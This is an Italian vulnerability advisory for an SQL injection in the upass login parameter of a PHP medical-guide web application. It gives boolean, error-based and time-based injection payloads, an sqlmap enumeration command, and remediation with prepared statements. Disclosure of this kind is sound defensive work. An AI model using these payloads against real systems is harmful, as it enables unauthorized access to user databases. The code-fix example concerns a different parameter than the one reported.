CVE-2025-60736: Vulnerabilità di SQL Injection nella Guida Medica Online
Riepilogo Esecutivo
Questo documento descrive una vulnerabilità critica di SQL injection scoperta nell'applicazione web Guida Medica Online. La vulnerabilità consente un accesso non autorizzato al database e comporta rischi significativi per la sicurezza dell'applicazione e dei suoi utenti.
Sottomittente
Prodotto Interessato
Dettagli Tecnici
- Linguaggio di Programmazione: PHP
- Database: MySQL
- Frontend: CSS, JavaScript
- Architettura: Stack LAMP/WAMP
2. Dettagli sulla Vulnerabilità
Classificazione della Vulnerabilità
- ID CVE: CVE-2025-60736
- Tipo di Vulnerabilità: SQL Injection
- Gravità: Critica
- Punteggio CVSS: 9.8 (Critica)
- Vettore di Attacco: Rete
- Complessità dell'Attacco: Bassa
- Privilegi Richiesti: Nessuno
- Interazione dell'Utente: Nessuna
- Ambito: Modificato
Analisi della Causa Principale
La vulnerabilità deriva da una validazione e sanificazione insufficiente dell'input nel file /login.php. L'applicazione concatena direttamente l'input dell'utente dal parametro upass nelle query SQL senza una sanificazione adeguata o istruzioni preparate.
Causa Principale Tecnica:
- Concatenazione diretta di stringhe nelle query SQL
- Mancanza di validazione e sanificazione dell'input
- Implementazione mancante di istruzioni preparate
- Binding dei parametri insufficiente
3. Prova di Concetto
Posizione della Vulnerabilità
- File:
/login.php
- Parametro:
upass (POST)
- Vettore di Attacco: Manipolazione della richiesta HTTP POST
Metodi di Sfruttamento
Metodo 1: SQL Injection Basata su Booleani
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' OR NOT 1852=1852-- iPRx
Metodo 1: SQL Injection Basata su Errori
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND EXTRACTVALUE(4672,CONCAT(0x5c,0x7176707071,(SELECT (ELT(4672=4672,1))),0x71717a7071))-- knKp
Metodo 2: SQL Injection Blind Basata sul Tempo
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND (SELECT 2089 FROM (SELECT(SLEEP(5)))zUlY)-- mWfa
Test Automatici
La vulnerabilità è stata confermata utilizzando sqlmap:
sqlmap -u "http://localhost:8000/login.php" --data="uname=admin&upass=test" -p upass --batch --dbs

4. Piano di Rimedio
- Patch di Emergenza: Implementare la validazione dell'input per il parametro
upass
- Monitoraggio del Database: Abilitare la registrazione completa per attività sospette
- Restrizione degli Accessi: Implementare il rate limiting e restrizioni basate su IP
- Audit di Sicurezza: Condurre una valutazione di sicurezza immediata
5. Rimedio Tecnico
Esempio di Correzione del Codice
Prima (Vulnerabile):
$query = "SELECT * FROM users WHERE username = '" . $_POST['uname'] . "'";
Dopo (Sicuro):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['uname']]);
Implementazione delle Best Practice di Sicurezza
- Istruzioni Preparate: Utilizzare esclusivamente query parametrizzate
- Validazione dell'Input: Implementare la validazione basata su whitelist
- Codifica dell'Output: Codificare correttamente tutti i dati di output
- Gestione degli Errori: Implementare una gestione sicura degli errori senza divulgazione di informazioni
- Controlli di Accesso: Implementare autenticazione e autorizzazione adeguate
Versione del Documento: 1.0
Ultimo Aggiornamento: 03/10/2025 (gg/mm/aaaa)